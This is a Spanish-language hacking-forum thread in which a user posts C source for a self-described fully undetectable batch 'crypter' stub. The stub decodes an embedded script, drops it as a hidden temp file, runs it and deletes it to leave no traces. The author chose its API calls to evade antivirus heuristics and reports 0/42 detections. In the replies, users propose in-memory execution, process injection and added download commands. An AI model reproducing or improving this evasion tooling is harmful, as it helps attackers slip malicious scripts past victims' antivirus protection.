elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado:


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [C/C++] Batch compiler FUD - Stub (Open Source)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C/C++] Batch compiler FUD - Stub (Open Source)  (Leído 3,399 veces)
hacker83

Desconectado Desconectado

Mensajes: 8


Ver Perfil
[C/C++] Batch compiler FUD - Stub (Open Source)
« en: 27 Abril 2012, 11:09 am »

Bueno hace rato que no programa nada, y se me ocurrio hacer un simple batch compiler. Pero tenia ganas de hacer algo diferente como por ejemplo no ese simple compilador que lo guarda y lo ejecuta en modo oculto.

Este cripta el batch con el metodo TOR 13.
Espera que el batch termine de ejecutarce para eliminar rastros.  (sin usar DeleteFileA) ya que su heuristica es detectada por al menos 3 antivirus.
Sustituye el valor de %0 del batch por el valor de nuestro compilado, es decir que si compilamos un batch con el siguiente codigo.


Código
  1. @echo off
  2. copy /y %0 C:\copia.bat
  3.  

Lo que hara es copiarce el bat sin compilarce. (Me explico?)
A hora tiene la opcion de cambiar ese valor por el compilado por lo cual en ves de copiar el batch, copia el batch pero en exe. es decir Generado (de nuevo ja)

Bueno aca les dejo el source.

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3.  
  4. /*
  5. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  6. //Batch stub - Incluye cryptacion tor 13
  7. //Modulo de autocopia exe - no deja rastros.
  8. //Neeco - Version 1.0
  9. //FUD 0/42 - https://www.virustotal.com/file/204540f7def3a75fd4a8830a9c19031f5fd417b66e4c67d8527c510348c9327a/analysis/1335515677/
  10. ////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
  11. */
  12.  
  13. int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
  14. LPSTR lpszArgument, int nCmdShow ) {
  15.  
  16. PROCESS_INFORMATION pi;
  17. STARTUPINFO stinfo;
  18. DWORD i, dwBytes;
  19.  
  20. char *a = "\"";
  21. char *nuevo = (char*) GlobalAlloc (GPTR, 500 + MAX_PATH);
  22. char *add = (char*) GlobalAlloc (GPTR, 250 );
  23.  
  24. stinfo.cb = sizeof ( STARTUPINFO );
  25.  
  26. char *appname = (char*) GlobalAlloc ( GPTR, MAX_PATH );
  27. GetModuleFileNameA ( GetModuleHandleA ( 0L ), appname, MAX_PATH );
  28.  
  29. HANDLE file = CreateFileA ( appname, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
  30. DWORD size = GetFileSize ( file, 0 );
  31.  
  32. char *buffer = (char*) GlobalAlloc ( GPTR, size );
  33. char *batch = (char*) GlobalAlloc ( GPTR, size );
  34.  
  35. ReadFile ( file, buffer, size, &dwBytes, 0 );
  36. CloseHandle ( file );
  37.  
  38. //Buscamos el buffer
  39. for (i = 0; i<=size; i++ ) {
  40. if ( buffer[i] == '*' && buffer[i+1] == '+' && buffer[i+2] == '*' ) {
  41. batch = buffer + (i+3);
  42. break;
  43. }
  44. }
  45.  
  46. //Sabremos si tenemos EOF agregado
  47. if ( batch[0] == 142 || batch[0] == 0x00 ) {
  48. ExitProcess (0);
  49. }
  50.  
  51. //Aplicamos la cryptacion TOR13
  52. for ( i = 0; size-(i+3); i++ ) {
  53. batch[i] = batch[i] - 13;
  54. }
  55.  
  56. //FUNCION AppName change %0 -
  57. int x, count = 0;
  58. BOOL stac = FALSE;
  59. for ( i = 0; i<=lstrlenA(buffer); i++ ) {
  60. if ( buffer[i] == 37 && buffer[i+1] == 48 ) {
  61. add = buffer + i + 2;
  62. nuevo[i-1] = 34;
  63.  
  64. CopyMemory (&nuevo[0], &buffer[0], i-1);
  65. CopyMemory (&nuevo[lstrlenA(nuevo)], &appname[0], lstrlenA(appname));
  66. CopyMemory (&nuevo[lstrlenA(nuevo)],&a[0],1);
  67. CopyMemory (&nuevo[lstrlenA(nuevo)], &add[0], lstrlenA(add));
  68.  
  69. stac = TRUE;
  70. }
  71. }
  72.  
  73. //Esta funcion la hacemos con WINAPI - Rango de detectabilidad heuristico : 20 %
  74. //Con lib stdio : 2,0 # fstream - 0,0
  75.  
  76. LPSTR Dir = (LPSTR) GlobalAlloc ( GPTR, MAX_PATH);
  77. GetWindowsDirectoryA ( Dir, MAX_PATH );
  78.  
  79. lstrcatA ( Dir, "\\Temp\\tA1xcp.bat" );
  80.  
  81. HANDLE File = CreateFileA ( Dir, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
  82. if ( stac == FALSE ) {
  83. WriteFile ( File, batch, size - (i+3), &dwBytes, 0 );
  84. CloseHandle ( File );
  85. } else {
  86. WriteFile ( File, nuevo, size - (i+3) + lstrlenA(appname), &dwBytes, 0 );
  87. CloseHandle ( File );
  88. }
  89.  
  90. //'Lo creamos a escondidas.
  91. SetFileAttributesA ( Dir, 0x1|0x2|0x4 );
  92.  
  93. //Abrimos el batch generado.
  94. CreateProcess ( Dir, 0, 0, 0, FALSE, 0, 0, 0, &stinfo, &pi );
  95.  
  96. //Esperamos a que termine de ejecutarce
  97. WaitForSingleObject ( pi.hProcess, INFINITE );
  98. TerminateProcess ( pi.hProcess, 0 );
  99.  
  100. CloseHandle ( pi.hProcess );
  101. CloseHandle ( pi.hThread );
  102.  
  103. //Borramos rastros de el.
  104. SetFileAttributesA ( Dir, FILE_ATTRIBUTE_NORMAL );
  105. //DeleteFileA ( Dir ); - Es detectada
  106. remove ( Dir );
  107.  
  108. GlobalFree ( Dir );
  109. GlobalFree ( appname );
  110. GlobalFree ( nuevo ), GlobalFree ( add );
  111. GlobalFree ( buffer ), GlobalFree ( batch );
  112.  
  113. return 0;
  114. }
  115.  
  116.  

El compilador todavía no lo hice, pero no es nada difícil, para los que tienen algo de conocimiento en el lenguaje y maneja TOR13, lo hace enseguida.

Esta FUD / lo analice en virus total (si ya se no tendría que haberlo subido ahí)
0/42 - el link esta en el source. (link del scaneo online by virustotal.com)

Saludos - Cualquier duda critica o lo que sea solo comenten.
Gracias.
En línea

Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [C/C++] Batch compiler FUD - Stub (Open Source)
« Respuesta #1 en: 27 Abril 2012, 15:24 pm »

Sería mejor ejecutar el código del BATCH sin meterlo en el HD. Usando WinExec() por ejemplo... si concatenas las lineas con & puedes ejecutar un código BATCH tan complejo como necesites.
Yo haría otras mejoras, como leer la ruta desde el PEB y otras cositas, si me animo y tengo tiempo hago uno :P

Respecto al cifrado... no será ROT13?

Saludos >:D
En línea

hacker83

Desconectado Desconectado

Mensajes: 8


Ver Perfil
Re: [C/C++] Batch compiler FUD - Stub (Open Source)
« Respuesta #2 en: 27 Abril 2012, 22:57 pm »

Sería mejor ejecutar el código del BATCH sin meterlo en el HD. Usando WinExec() por ejemplo... si concatenas las lineas con & puedes ejecutar un código BATCH tan complejo como necesites.
Yo haría otras mejoras, como leer la ruta desde el PEB y otras cositas, si me animo y tengo tiempo hago uno :P

Respecto al cifrado... no será ROT13?

Saludos >:D

JA si disculpa me equivoque es ROT13.
Dale estaria bueno, si tambien podria usar Pipes para que no cree un archivo temporal asi como tambien inyectar el WinExec en otro proceso del sistema (Pero esto lo haria mas detectado).
Tampoco me puse a hacerle tantas cosas. solo estaba probando una manera diferente, pero me gustaria tal vez, hacer una buena utilidad, es decir. (ESTA)
pero que funcione bien. Se me habia ocurrido agregarles comandos como download, playsound, etc. todos sin necesidad de otros archivos, es decir buscar en el batch esos comandos escritos, y desde C/C++ (Stub) al ejecutar haga sus funciones con sus respectivos parametros.
Seria un honor si quisieras ayudar en el proyecto, por si no lo sabes Tu y [Zero]
Son como unos ejemplos a seguir jaja, es como una emocion  :xD
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines